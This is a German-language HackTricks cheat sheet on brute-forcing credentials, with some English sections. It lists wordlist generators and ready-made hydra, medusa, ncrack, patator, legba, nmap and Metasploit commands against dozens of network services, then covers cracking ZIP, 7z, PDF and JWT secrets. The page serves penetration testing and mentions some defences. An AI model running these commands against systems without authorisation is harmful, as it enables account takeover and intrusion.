hacktricks/generic-methodologies-and-resources/brute-force.md

53 KiB
Raw Blame History

Brute Force - Spickzettel


Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden.
Heute noch Zugriff erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Standardanmeldeinformationen

Suchen Sie in Google nach den Standardanmeldeinformationen der verwendeten Technologie oder versuchen Sie diese Links:

Erstellen Sie Ihre eigenen Wörterbücher

Sammeln Sie so viele Informationen über das Ziel wie möglich und erstellen Sie ein benutzerdefiniertes Wörterbuch. Tools, die dabei helfen können:

Crunch

crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%

Cewl

Cewl ist ein Tool, das verwendet wird, um Passwörter durch das Extrahieren von Wörtern aus einer Website zu bruteforcen. Es kann verwendet werden, um benutzerdefinierte Wörterbücher zu erstellen, die dann für Angriffe verwendet werden können.

cewl example.com -m 5 -w words.txt

CUPP

Generiere Passwörter basierend auf deinem Wissen über das Opfer (Namen, Daten...)

python3 cupp.py -h

Wister

Ein Wortlisten-Generator-Tool, das es Ihnen ermöglicht, eine Reihe von Wörtern bereitzustellen, um Ihnen die Möglichkeit zu geben, mehrere Variationen der gegebenen Wörter zu erstellen, um eine einzigartige und ideale Wortliste für die Verwendung in Bezug auf ein spezifisches Ziel zu erstellen.

python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst

__          _______  _____ _______ ______ _____
\ \        / /_   _|/ ____|__   __|  ____|  __ \
\ \  /\  / /  | | | (___    | |  | |__  | |__) |
\ \/  \/ /   | |  \___ \   | |  |  __| |  _  /
\  /\  /   _| |_ ____) |  | |  | |____| | \ \
\/  \/   |_____|_____/   |_|  |______|_|  \_\

Version 1.0.3                    Cycurity

Generating wordlist...
[########################################] 100%
Generated 67885 lines.

Finished in 0.920s.

pydictor

Wortlisten


Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden.
Heute Zugriff erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Dienste

Alphabetisch nach Dienstnamen geordnet.

AFP

nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run

AJP

AJP (Apache JServ Protocol) is a binary protocol that can be used to proxy requests from a web server through to an application server. It is similar to HTTP, but optimized for communication between Apache web servers and Tomcat application servers. AJP is often used to improve performance and security by allowing the web server to handle static content while passing dynamic content requests to the application server.

nmap --script ajp-brute -p 8009 <IP>

AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)

legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]

Cassandra

Cassandra ist ein Open-Source-NoSQL-Datenbankmanagementsystem, das von Apache Software Foundation entwickelt wurde. Es wird häufig für die Verwaltung großer Mengen von strukturierten Daten in verteilten Systemen verwendet. Cassandra verwendet ein verteiltes Architekturmodell, das es skalierbar und fehlertolerant macht. Es unterstützt auch das Replizieren von Daten auf mehreren Rechenzentren, um Ausfallsicherheit zu gewährleisten.

nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042

CouchDB

Brute-force attacks against CouchDB are relatively simple to execute due to the lack of account lockout mechanisms. Attackers can use tools like Hydra or write custom scripts to automate the process of trying different username and password combinations until the correct one is found. It is essential to use strong and unique credentials to prevent successful brute-force attacks.

msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /

Docker-Register

hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/

Elasticsearch

Elasticsearch ist anfällig für Brute-Force-Angriffe, bei denen Angreifer versuchen, sich durch wiederholtes Ausprobieren von Benutzernamen und Passwörtern Zugriff zu einem Konto zu verschaffen. Es ist wichtig, starke und einzigartige Anmeldeinformationen zu verwenden, um solche Angriffe zu verhindern. Zusätzlich können Sicherheitsmaßnahmen wie die Aktivierung von Zwei-Faktor-Authentifizierung und das Begrenzen der Anmeldeversuche pro Benutzer implementiert werden, um die Sicherheit von Elasticsearch zu erhöhen.

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /

FTP

Brute Force

Brute force attacks are a common method used to gain unauthorized access to FTP servers. Attackers use automated tools to try all possible username and password combinations until the correct one is found. This method is time-consuming but can be effective if the credentials are weak. It is important to use strong, unique passwords to protect against brute force attacks.

Protection

To protect against brute force attacks on FTP servers, consider implementing the following measures:

  • Strong Passwords: Enforce the use of strong, complex passwords that are difficult to guess.
  • Account Lockout: Implement account lockout policies that lock out users after a certain number of failed login attempts.
  • IP Whitelisting: Restrict access to the FTP server by whitelisting only specific IP addresses.
  • Monitoring: Regularly monitor FTP server logs for any suspicious activity.
  • Two-Factor Authentication: Implement two-factor authentication to add an extra layer of security to the login process.

By implementing these protection measures, you can significantly reduce the risk of unauthorized access to your FTP server through brute force attacks.

hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21

HTTP Generisches Brute

WFuzz

HTTP Basic Auth

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P  <passwords.txt> -M  http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/

HTTP - NTLM

legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/

HTTP - Post Form

Brute force attacks against web forms are a common method used to gain unauthorized access to a system. Attackers use automated tools to repeatedly try different combinations of usernames and passwords until the correct one is found. This method can be effective but may also trigger account lockouts or alerts if too many failed login attempts are made. It is important to use strong, unique passwords and implement account lockout policies to help prevent brute force attacks.

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https

Für https müssen Sie von "http-post-form" auf "https-post-form" wechseln

HTTP - CMS -- (W)ordpress, (J)oomla oder (D)rupal oder (M)oodle

cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP

IMAP

Brute force attacks against IMAP are typically carried out using the hydra tool. The following command can be used to launch a brute force attack against an IMAP server:

hydra -l <username> -P <wordlist> -f <target_ip> imap
  • -l <username>: Specify the username to target.
  • -P <wordlist>: Specify the wordlist containing passwords to try.
  • -f <target_ip>: Specify the IP address of the target IMAP server.

This command will attempt to log in to the IMAP server using the usernames and passwords from the specified wordlist.

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993

IRC

Brute-forcing IRC servers is a common technique used to gain unauthorized access. Attackers can use tools like Hydra or Brutus to automate the process of trying different username and password combinations until the correct one is found. It is important to note that brute-forcing is illegal and unethical unless you have explicit permission to test the security of a system.

nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>

ISCSI

ISCSI (Internet Small Computer System Interface) ist ein Protokoll, das es ermöglicht, SCSI-Befehle über ein TCP/IP-Netzwerk zu senden. Es wird häufig verwendet, um Speichergeräte über das Netzwerk anzuschließen.

nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>

JWT

JSON Web Tokens sind eine Möglichkeit, Informationen zwischen zwei Parteien als JSON-Objekt sicher zu übertragen. Diese Informationen können verifiziert und vertrauenswürdig sein, da sie digital signiert sind. JSON Web Tokens können auch verschlüsselt werden, um private Informationen zu schützen.

#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt

#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256

#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>

#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8

#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt

#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6

LDAP

LDAP (Lightweight Directory Access Protocol) ist ein Protokoll, das häufig für die Authentifizierung und Autorisierung in Netzwerken verwendet wird. Es ermöglicht den Zugriff auf und die Verwaltung von Verzeichnisdiensten über das Internet. LDAP kann durch Brute-Force-Angriffe kompromittiert werden, bei denen Angreifer systematisch Benutzernamen und Passwörter ausprobieren, um unbefugten Zugriff zu erlangen. Es ist wichtig, starke Authentifizierungsmethoden und Sicherheitsmaßnahmen zu implementieren, um LDAP vor solchen Angriffen zu schützen.

nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match

MQTT

MQTT (Message Queuing Telemetry Transport) ist ein leichtgewichtiges Nachrichtenprotokoll, das für die Kommunikation zwischen Geräten in verteilten Netzwerken entwickelt wurde. Es wird häufig in IoT-Anwendungen eingesetzt, um Daten zwischen Geräten auszutauschen. MQTT verwendet das Publish-Subscribe-Modell, bei dem Geräte Nachrichten veröffentlichen und abonnieren können. Es ist wichtig, MQTT-Implementierungen auf Sicherheitslücken zu überprüfen, da sie anfällig für Brute-Force-Angriffe sein können.

ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt

Mongo

nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt

MSSQL

Brute-force-Angriffe auf MSSQL-Server sind üblich und können durch Tools wie Hydra, Ncrack und Metasploit durchgeführt werden. Diese Tools ermöglichen es, Benutzernamen und Passwörter durch systematisches Ausprobieren aller möglichen Kombinationen zu erraten. Es ist wichtig, starke Passwörter zu verwenden und Sicherheitsmaßnahmen wie das Sperren von Benutzerkonten nach einer bestimmten Anzahl von fehlgeschlagenen Anmeldeversuchen zu implementieren, um Brute-Force-Angriffe zu verhindern.

legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433

MySQL

Brute Force

Brute force attacks are a common method used to gain unauthorized access to a MySQL database. Attackers use automated tools to try all possible combinations of usernames and passwords until the correct one is found. This method can be time-consuming but is often successful if weak credentials are used. To protect against brute force attacks, it is essential to use strong, complex passwords and implement account lockout policies after a certain number of failed login attempts. Additionally, using multi-factor authentication can add an extra layer of security to prevent unauthorized access.

# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql

# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false

# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql

#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306

OracleSQL

Brute-force attacks against Oracle databases can be carried out using tools such as Hydra or Metasploit. These tools can help automate the process of trying different username and password combinations until the correct one is found. It is important to note that brute-force attacks can be time-consuming and may trigger account lockouts or alarms on the target system.

patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017

./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt

#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>

#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>

#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>

legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt

Um oracle_login mit patator zu verwenden, müssen Sie installieren:

pip3 install cx_Oracle --upgrade

Offline OracleSQL Hash-Bruteforce (Versionen 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, und 11.2.0.3):

nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30

POP

Brute force attacks against POP (Post Office Protocol) servers can be used to guess usernames and passwords. Tools like Hydra and Medusa can be used to automate the process.

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V

# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110

# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl

PostgreSQL

Brute-force attacks against PostgreSQL databases can be carried out using tools like Hydra or Metasploit. These tools can help automate the process of trying different username and password combinations until the correct one is found. It is important to use strong and complex passwords to protect against brute-force attacks.

hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M postgres
ncrack v U /root/Desktop/user.txt P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432

PPTP

Sie können das .deb Paket zum Installieren von https://http.kali.org/pool/main/t/thc-pptp-bruter/ herunterladen.

sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter u <Username> <IP>

RDP

Remote Desktop Protocol (RDP) ist ein proprietäres Protokoll von Microsoft, das es einem Benutzer ermöglicht, eine Verbindung zu einem anderen Computer über ein Netzwerk herzustellen. Es wird häufig für die Fernverwaltung von Computern verwendet.

ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]

Redis

Redis ist ein beliebter Open-Source-In-Memory-Datenspeicher, der häufig für Caching und als Datenbank verwendet wird. Es ist wichtig, Redis-Instanzen vor Brute-Force-Angriffen zu schützen, indem starke Passwörter verwendet und die Sicherheitskonfiguration optimiert werden.

msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]

Rexec

Rexec ist ein Remote-Execution-Dienst, der es einem Benutzer ermöglicht, Befehle auf einem entfernten System auszuführen. Es kann für Brute-Force-Angriffe verwendet werden, um Passwörter zu erraten.

hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V

Rlogin

Rlogin ist ein Remote-Login-Programm, das auf UNIX-Systemen verwendet wird. Es ermöglicht einem Benutzer, sich auf einem entfernten Rechner anzumelden und eine Sitzung auf diesem Rechner zu starten. Rlogin ist anfällig für Brute-Force-Angriffe, bei denen ein Angreifer versucht, sich durch Ausprobieren verschiedener Passwörter Zugriff zu verschaffen. Es ist wichtig, starke Passwörter zu verwenden und Sicherheitsvorkehrungen zu treffen, um Brute-Force-Angriffe zu verhindern.

hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V

Rsh

Rsh (Remote Shell) is a simple remote shell client included in most Unix-like operating systems. It can be used to execute commands on a remote system. Rsh is often targeted during brute-force attacks due to its weak authentication mechanism.

hydra -L <Username_list> rsh://<Victim_IP> -v -V

http://pentestmonkey.net/tools/misc/rsh-grind

Rsync

nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>

RTSP

RTSP (Real Time Streaming Protocol) ist ein Netzwerkprotokoll, das für die Steuerung von Streaming-Medien im Internet verwendet wird. Es wird häufig für die Übertragung von Audio- oder Videodaten in Echtzeit verwendet.

hydra -l root -P passwords.txt <IP> rtsp

SFTP

SFTP steht für Secure File Transfer Protocol. Es handelt sich um eine sichere Methode zum Übertragen von Dateien über ein Netzwerk. Es verwendet Verschlüsselungstechniken, um die Sicherheit der übertragenen Daten zu gewährleisten.

legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

SNMP

SNMP (Simple Network Management Protocol) is a protocol used for network management and monitoring. It operates on the application layer of the OSI model and is used to collect information from network devices such as routers, switches, printers, and servers. SNMP uses a community string for authentication, which is essentially a password.

Brute Forcing SNMP Community Strings

Brute forcing SNMP community strings involves trying all possible combinations of characters until the correct community string is found. This can be done using tools like onesixtyone, snmpwalk, or custom scripts. It is important to note that brute forcing is a time-consuming process and may trigger alerts on the target network.

msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp

SMB

SMB steht für Server Message Block und ist ein Protokoll, das für die Datei- und Druckerfreigabe in Netzwerken verwendet wird. Es kann durch Brute-Force-Angriffe auf Passwörter kompromittiert werden.

nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]

SMTP

SMTP (Simple Mail Transfer Protocol) ist ein Protokoll zum Senden von E-Mails über das Internet.

hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]

SOCKS

SOCKS (Socket Secure) is a protocol that routes network packets between a client and a server through a proxy server. It can be used as a method for brute-forcing login credentials by attempting multiple username and password combinations until the correct one is found.

nmap  -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080

SQL Server

Brute Force

Brute force attacks against SQL Server involve attempting to guess usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try all possible combinations of usernames and passwords until the correct one is found.

Mitigation

To protect against brute force attacks on SQL Server, consider implementing the following measures:

  1. Strong Password Policy: Enforce a strong password policy that includes complexity requirements and regular password changes.

  2. Account Lockout Policy: Implement an account lockout policy that locks out users after a certain number of failed login attempts.

  3. Monitoring and Logging: Monitor and log login attempts to detect and respond to suspicious activity.

  4. Multi-Factor Authentication: Implement multi-factor authentication to add an extra layer of security beyond just a username and password.

By implementing these measures, you can significantly reduce the risk of a successful brute force attack on your SQL Server.

#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT

SSH

Brute-forcing SSH credentials is a common technique used to gain unauthorized access to a remote system. Attackers use automated tools to try a large number of username and password combinations until the correct one is found. This can be mitigated by using strong, unique passwords and implementing account lockout policies after a certain number of failed login attempts.

hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

Schwache SSH-Schlüssel / Vorhersehbarer PRNG von Debian

Einige Systeme weisen bekannte Schwachstellen im Zufallsseed auf, der zur Generierung kryptografischer Materialien verwendet wird. Dies kann zu einem dramatisch reduzierten Schlüsselraum führen, der mit Tools wie snowdroppe/ssh-keybrute bruteforcebar ist. Vorgefertigte Sets schwacher Schlüssel sind ebenfalls verfügbar, wie z.B. g0tmi1k/debian-ssh.

STOMP (ActiveMQ, RabbitMQ, HornetQ und OpenMQ)

Das STOMP-Textprotokoll ist ein weit verbreitetes Messaging-Protokoll, das eine nahtlose Kommunikation und Interaktion mit beliebten Nachrichtenwarteschlangendiensten wie RabbitMQ, ActiveMQ, HornetQ und OpenMQ ermöglicht. Es bietet einen standardisierten und effizienten Ansatz zum Austausch von Nachrichten und zur Durchführung verschiedener Messaging-Operationen.

legba stomp --target localhost:61613 --username admin --password data/passwords.txt

Telnet

Telnet ist ein Netzwerkprotokoll, das zur Kommunikation mit entfernten Systemen oder Geräten über das Internet oder lokale Netzwerke verwendet wird. Es ermöglicht Benutzern, eine Verbindung zu einem entfernten Host herzustellen und Befehle auszuführen, als ob sie physisch vor dem System stehen würden.

hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

legba telnet \
--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin

VNC

VNC steht für Virtual Network Computing und ist eine Technologie, die es ermöglicht, den Desktop eines entfernten Computers über ein Netzwerk zu sehen und zu steuern.

hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt t 1 x retry:fgep!='Authentication failure' --max-retries 0 x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt <IP>
legba vnc --target localhost:5901 --password data/passwords.txt

#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst

Winrm

Winrm (Windows Remote Management) ist ein Dienst, der es ermöglicht, Remote-Management-Funktionen auf Windows-Betriebssystemen auszuführen. Es wird häufig für die Verwaltung von Servern verwendet.

crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt


Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden.
Heute Zugriff erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Lokal

Online-Datenbanken zum Knacken

Schauen Sie sich dies an, bevor Sie versuchen, einen Hash per Brute Force zu knacken.

ZIP

#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
zip2john file.zip > zip.john
john zip.john
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack

Bekannter Klartext-Zip-Angriff

Sie müssen den Klartext (oder einen Teil des Klartexts) einer Datei kennen, die sich im verschlüsselten Zip-Archiv befindet. Sie können die Dateinamen und die Größe der Dateien, die sich im verschlüsselten Zip-Archiv befinden, überprüfen, indem Sie: 7z l encrypted.zip ausführen.
Laden Sie bkcrack von der Seite mit den Veröffentlichungen herunter.

# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file

./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password

7z

Brute Force

Brute force attacks are commonly used to crack passwords. They work by trying all possible combinations of characters until the correct one is found. This method can be very time-consuming and resource-intensive, but it is effective against weak passwords.

To perform a brute force attack on a 7z file, you can use tools like 7z Cracker or John the Ripper. These tools allow you to automate the process of trying different password combinations until the correct one is discovered.

Keep in mind that brute force attacks can be detected by intrusion detection systems, so it's important to use them carefully and ethically.

cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john

PDF

Brute-force attacks are commonly used to crack passwords from PDF files. Tools like pdfcrack and pdf2john can be used to extract the hash from a PDF file, which can then be cracked using tools like John the Ripper or hashcat. These tools can perform dictionary attacks, brute-force attacks, and other password cracking techniques to recover the password from the hash.

apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf

PDF Owner Passwort

Um ein PDF-Owner-Passwort zu knacken, überprüfen Sie dies: https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/

JWT

git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack

#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John

NTLM knacken

Format:USUARIO:ID:HASH_LM:HASH_NT:::
